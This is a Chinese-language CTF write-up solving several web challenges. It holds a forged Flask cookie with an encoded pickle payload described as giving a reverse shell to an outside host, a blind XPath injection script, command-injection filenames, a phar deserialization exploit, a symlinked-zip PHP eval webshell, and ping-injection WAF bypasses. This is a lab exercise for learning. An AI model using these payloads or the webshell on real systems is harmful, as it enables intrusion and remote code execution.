python flask_session_cookie_manager3.py encode -s "df94" -t "{'user':'admin','ser_data':'KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjNcdTAwMjBcdTAwMjJcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjlcdTAwMjBcdTAwM2VcdTAwMjZcdTAwMjBcdTAwMmZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMmZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMmZcdTAwNjZcdTAwNzJcdTAwNjVcdTAwNjVcdTAwMmVcdTAwNjlcdTAwNjRcdTAwNjNcdTAwNjZcdTAwNjVcdTAwNmVcdTAwNjdcdTAwNzlcdTAwNjVcdTAwMmVcdTAwNjNcdTAwNmZcdTAwNmRcdTAwMmZcdTAwMzFcdTAwMzBcdTAwMzFcdTAwMzhcdTAwMzJcdTAwMjBcdTAwMzBcdTAwM2VcdTAwMjZcdTAwMzFcdTAwMjIKb3MuCg=='}"
.eJyVUT0PgjAU_C-dnSAuJgxCghHSDn6UyGIqNUItxCikWuN_F-UVUxIGp-sd767H6xM1t-MVzRDjZVGhCWrZnrOatVIc4oo5dIrXWbx9cGeXqHukLufPmSeqCopcHFwcZ67UfEHrQKYZ38wVERFg2KEmwPMvYuF3WK5AJ7be-__NkbbuUODpYN70ND4K-an9Xdv9iB76zVxk5wDiklq9fvcR2298_TyHXDmSB37TA_7f9MI6BPQHHPYGfft96JF9GZ9Yxu07N8HJ89DrDfVfx-Q.aQ2v1w.3IzVHvgtl5BaimEgEyf-Lup3i2Q
带着这个cookie访问/admin,vps起监听,反弹shell

MyPicDisk #
用万能密码admin’or 1=1#登录
username=admin' or 1=1#&password=123456

访问一下,拿到源码
代码审计 #
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>
首先需要成功登录,进入上传文件的界面
源码部分有三处关键点
- 文件上传处对文件名有类型校验
- FILE这个类里存在命令拼接可以进行RCE,但对拼接参数存在黑名单校验
- 当传入的todo参数为md5时,会调用md5_file 函数
解题 #
这里用Xpath盲注 注出admin的密码
import requests
import time
url ='http://env.xj.edisec.net:30146/index.php'
strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
flag =''
for i in range(1,100):
for j in strs:
#猜测根节点名称 #accounts
# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123}
# payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)
#猜测子节点名称 #user
# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
# payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)
#猜测accounts的节点
# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)、
# payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
data={
"username":payload_username,
"password":123,
"submit":"1"
}
print(payload_username)
r = requests.post(url=url,data=data)
time.sleep(0.1)
# print(r.text)
if "登录成功" in r.text:
flag+=j
print(flag)
break
if "登录失败" in r.text:
break
print(flag)
注:源码没有libxml_disable_entity_loader(false);语句,禁止外部实体载入。不能通过XXE来RCE。
admin
003d7628772d6b57fec5f30ccbc82be1
密码看特征是MD5加密过的,解密一下是15035371139
admin/15035371139

成功登录,来到上传界面
方法一 #
FILE类的析构方法会把命令和文件名拼接在一起然后执行。源码对文件名也有所过滤,要求文件名中必须包含.(jpg|jpeg|gif|png|bmp),相当于白名单,只允许这四个后缀。
那么我们使文件名如下,就即绕过了过滤限制,又能执行命令了。
;echo 命令的base64编码|base64 -d;a.jpg
先通过登录后的文件上传功能随便上传一张图片,但是要抓包重新命名一下,然后通过?file=‘图片名’访问图片,传入?file=‘图片名’后会根据图片名实例化FILE类,执行里面的析构方法。
?file=;echo bHMgLyAtYWw=|base64 -d;a.jpg # ls / -al
?file=;echo Y2F0IC95b3VfZm91bmRfdGhpc19mbGFn|base64 -d;a.jpg
## cat /you_found_this_flag

方法二 #
打phar反序列化
利用md5_file来解析phar文件,一般参数是string形式的文件名称($filename)的函数,都可以用来解析phar。
同时,访问phar文件时,是通过GET方法提交?file=什么什么,源代码没有对file参数进行过滤,故可以使用phar伪协议phar://。
此外,对于上传文件后缀的限制,phar://的伪协议,可以将任意后缀名的压缩包(原来是.phar或.zip,注意:PHP>=5.3.0压缩包需要是zip协议压缩,rar不行) 解包,从而可以通过上传压缩包绕过对后缀名的限制,再利用伪协议实现文件包含。那么可以上传生成的phar文件,通过burp抓包使文件后缀名变为.jpg
实例化的时候构造方法construct()获取不了图片大小和最后修改时间,导致报错而不执行析构方法destruct()。从而无法RCE。phar包里面的文件不存在,自然也没有大小,为什么不报错不影响析构方法destruct()执行呢。因为这里phar包传进去根本不触发构造方法construct(),传进去是序列化字符串,构造方法在本地构造时触发过了。
同理,phar包里面的文件名$filename(RCE的命令),因为不触发构造方法__construct(),所以也不用绕过过滤了。
构造phar包脚本
<?php
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->filename = $filename;
}
}
$a = new FILE(";cat /you_found_this_flag"); //源码不查phar里面的内容
$phar=new phar('xxx.phar');
$phar->startBuffering();
$phar->setMetadata($a);
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
上传时改后缀为jpg

接下来手动访问xxx.jpg,用phar伪协议。todo=md5是为了调用md5_file()函数,函数用来解析phar。
?file=phar://xxx.jpg&todo=md5

unzip #
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
//这里是验证MIME值,确定上传的文件类型为zip,同时也为我们指明了方向,要上传一个zip压缩包。
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
//这里的意思是进入/tmp目录下,然后调用unzip命令对压缩包进行解压,也就是把压缩包解压到/tmp目录下。
};
//only this!
分析 #
代码做了一个简单的限制,要求的zip文件,这也是一个提示需要上传zip文件。
执行命令,在/tmp目录下解压文件内容,这里-o是强覆盖,会覆盖名称一样的文件
正常环境的代码需要在/var/www/html下才能执行,题目固定了在tmp下,所以要尝试建立tmp和/var/www/html的联系,可以通过建立一个软链接先指向,再解压,就可以在/var/www/html下getshell
解题 #
创建软链接
ln -s /var/www/html shell
然后进行第一次压缩
zip --symlinks shell1.zip shell //symlinks的作用是不把orange这个软链接当作普通的文件,而是当作指向目录或者文件的存在
写一个一句话木马在shell.php下
<?php @eval($_POST['cmd']);?>
然后保存在shell目录下,执行第二次压缩
zip -r shell2.zip shell
先上传shell1.zip,进行在靶场上执行的就是解压进行了链接
再上传shell2.zip,这次解压把shell.php解压到了shell的目录下,成功的把shell.php传到了/var/www/html目录下
打开shell.php,执行命令

webping #
ping命令注入,但是有waf,过滤了分号,空格,*,?,cat,tac,\等
127.0.0.1|ls
127.0.0.1|ls${IFS}/
127.0.0.1|more${IFS}app.py
::::::::::::::
app.py
::::::::::::::
from flask import Flask, render_template, request
import os
import re
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/post", methods=["POST"])
def post():
if request.method == "POST":
ip = request.form.get("ip")
print(ip)
if not ip:
mes = "Your ip cannot be empty"
return render_template("index.html", message=mes)
invalid = waf(ip)
if invalid:
mes = "Waf!"
return render_template("index.html", message=mes)
res = os.popen("ping -c 5 " + ip)
# print(res)
if res:
mes = res.read()
return render_template("index.html", message=mes)
else:
mes = "Failed!"
return render_template("index.html", message=mes)
def waf(ip):
blacklist = [";", "cat", ">", "<", "cd", " ", "tac", "sh", "\+", "echo", "flag", "prinf", "\?", "\*", "\\\\"]
for black in blacklist:
match = re.search(black, ip, re.M | re.I)
if match:
return True
return False
if __name__ == "__main__":
app.run("0.0.0.0", port=9999)
拿到黑名单
blacklist = [";", "cat", ">", "<", "cd", " ", "tac", "sh", "\+", "echo", "flag" , "prinf", "\?", "\*", "\\\\"]
payload
127.0.0.1|more${IFS}/fla[f-h]
